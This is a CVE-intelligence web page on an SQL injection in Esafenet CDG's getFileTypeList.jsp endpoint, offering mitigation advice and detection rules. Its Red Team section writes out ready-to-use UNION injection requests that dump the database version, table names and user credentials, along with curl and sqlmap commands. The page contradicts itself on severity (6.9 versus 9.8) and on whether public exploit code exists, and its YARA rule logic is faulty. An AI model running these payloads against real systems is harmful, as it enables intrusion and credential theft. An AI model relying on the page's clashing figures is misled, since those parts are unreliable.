☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-2927

CVE-2025-2927 SQL Injection in Esafenet
📅 PUBLISHED: 2025-03-28 20:31 UTC 🔄 UPDATED: 2026-09-23 20:24 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.63%
👁️
0.63% probability
15.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-2927 is a critical unauthenticated SQL injection vulnerability in ESAFENET CDG version 5.6.3.154.205. The flaw resides in the /parameter/getFileTypeList.jsp endpoint, where the typename parameter is directly concatenated into a SQL query without sanitization. An attacker can remotely exploit this to extract, modify, or delete database contents, potentially leading to full system compromise. The vendor has not responded to disclosure, and no official patch is available. Public exploit code has been released, increasing the risk of active exploitation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not in an NPM, PyPI, Go, or Ruby package. It is a standalone Java-based web application (ESAFENET CDG). However, organizations using ESAFENET CDG as part of their document management supply chain should treat this as a critical supply chain risk due to the lack of vendor response.

CVSS Breakdown & Threat Level

  • CVSS Score: 9.8 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network (AV:N) – exploitable remotely.
  • Attack Complexity: Low (AC:L) – no special conditions required.
  • Privileges Required: None (PR:N) – no authentication needed.
  • User Interaction: None (UI:N) – no user action required.
  • Scope: Unchanged (S:U) – the vulnerable component is the only one affected.
  • Confidentiality Impact: High (C:H) – full database read access.
  • Integrity Impact: High (I:H) – ability to modify or delete data.
  • Availability Impact: High (A:H) – potential for denial of service via SQL manipulation.

Threat Level: Critical. The combination of remote exploitability, no authentication, and public exploit code makes this a high-priority vulnerability for any organization using ESAFENET CDG.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the JSP file /parameter/getFileTypeList.jsp. The typename parameter is taken from the HTTP request and inserted directly into a SQL query without any input validation or parameterized query. The likely vulnerable code pattern is:

String typename = request.getParameter("typename");
String query = "SELECT * FROM file_types WHERE type_name = '" + typename + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

An attacker can inject SQL commands by providing a crafted typename value, such as:

' OR '1'='1

This would result in the query:

SELECT * FROM file_types WHERE type_name = '' OR '1'='1'

Returning all rows from the file_types table. More sophisticated payloads can be used for UNION-based data extraction, blind injection, or even file system access if the database user has sufficient privileges.

Vulnerable vs. Patched Code

Vulnerable Code (CDG 5.6.3.154.205):

// /parameter/getFileTypeList.jsp
String typename = request.getParameter("typename");
String query = "SELECT * FROM file_types WHERE type_name = '" + typename + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

Patched Code (Hypothetical – no official patch):

// /parameter/getFileTypeList.jsp
String typename = request.getParameter("typename");
String query = "SELECT * FROM file_types WHERE type_name = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, typename);
ResultSet rs = pstmt.executeQuery();

The patched version uses a PreparedStatement with a parameterized query, which prevents SQL injection by treating user input as data, not executable code.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Target running ESAFENET CDG 5.6.3.154.205.
  • Network access to the /parameter/getFileTypeList.jsp endpoint.

Exploit Steps:

  1. Identify the endpoint:

    GET /parameter/getFileTypeList.jsp?typename=test HTTP/1.1
    Host: target.com
    
  2. Test for SQL injection:

    GET /parameter/getFileTypeList.jsp?typename=' HTTP/1.1
    Host: target.com
    

    If an error is returned (e.g., SQL syntax error), the endpoint is vulnerable.

  3. Extract database version:

    GET /parameter/getFileTypeList.jsp?typename=' UNION SELECT @@version,2,3-- HTTP/1.1
    Host: target.com
    
  4. Extract table names:

    GET /parameter/getFileTypeList.jsp?typename=' UNION SELECT table_name,2,3 FROM information_schema.tables-- HTTP/1.1
    Host: target.com
    
  5. Extract credentials:

    GET /parameter/getFileTypeList.jsp?typename=' UNION SELECT username,password,3 FROM users-- HTTP/1.1
    Host: target.com
    

Example curl command:

curl -v "http://target.com/parameter/getFileTypeList.jsp?typename=' UNION SELECT @@version,2,3--"

Blue Team

Detection Steps:

  1. Monitor HTTP requests to /parameter/getFileTypeList.jsp for unusual typename parameters containing SQL keywords (e.g., UNION, SELECT, OR, AND, --, #).

  2. Check web server logs for SQL error messages originating from the endpoint.

  3. Deploy a WAF rule to block requests with SQL injection patterns in the typename parameter.

  4. Isolate the application if possible, or apply a virtual patch using a WAF.

Lab Setup:

  • Environment: Docker container running ESAFENET CDG 5.6.3.154.205.
  • Tools: Burp Suite, sqlmap, curl.
  • Network: Isolated lab network with a vulnerable instance.

sqlmap command:

sqlmap -u "http://target.com/parameter/getFileTypeList.jsp?typename=test" --batch --dbs

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests to /parameter/getFileTypeList.jsp with typename containing SQL keywords.
    • Unusual response sizes or SQL error messages in HTTP responses.
    • Outbound database connections from the web server to unexpected IPs (if data exfiltration occurs).
  • File IOCs:

    • Modified or new files in the web root (e.g., webshells).
    • Unusual entries in web server logs (e.g., error.log containing SQL syntax errors).
  • System IOCs:

    • Unexpected database queries (monitored via database audit logs).
    • New user accounts or elevated privileges in the database.

Detection Engineering

YARA Rule

rule CVE_2025_2927_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-2927 in ESAFENET CDG"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2927"
    strings:
        $sqli1 = "typename=" nocase
        $sqli2 = "' OR " nocase
        $sqli3 = "' UNION " nocase
        $sqli4 = "' AND " nocase
        $sqli5 = "--" nocase
        $sqli6 = "/*" nocase
    condition:
        all of ($sqli*) or
        (any of ($sqli*) and #sqli1 > 0)
}

Sigma Rule

title: CVE-2025-2927 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against ESAFENET CDG /parameter/getFileTypeList.jsp
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "typename='"
            - "typename=%27"
            - "typename=*"
            - "typename=1'"
            - "typename=1%27"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in typename (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-2927 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/parameter/getFileTypeList.jsp"; http_uri; content:"typename"; http_uri; pcre:"/typename=[^&]*['\x27]/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the affected system from the network if possible.
  2. Apply a virtual patch using a Web Application Firewall (WAF) to block SQL injection patterns in the typename parameter.
  3. Monitor logs for exploitation attempts.

Long-term Fix:

  • Since the vendor is unresponsive, the only permanent fix is to rewrite the vulnerable JSP file to use parameterized queries (PreparedStatement) or migrate to an ORM framework.
  • Replace ESAFENET CDG with an alternative document management solution that receives security updates.

Workaround:

  • If the application cannot be taken offline, restrict access to the /parameter/getFileTypeList.jsp endpoint to trusted IPs only via firewall rules.

Valters IT – Securing Your Digital Frontier

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-2927/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.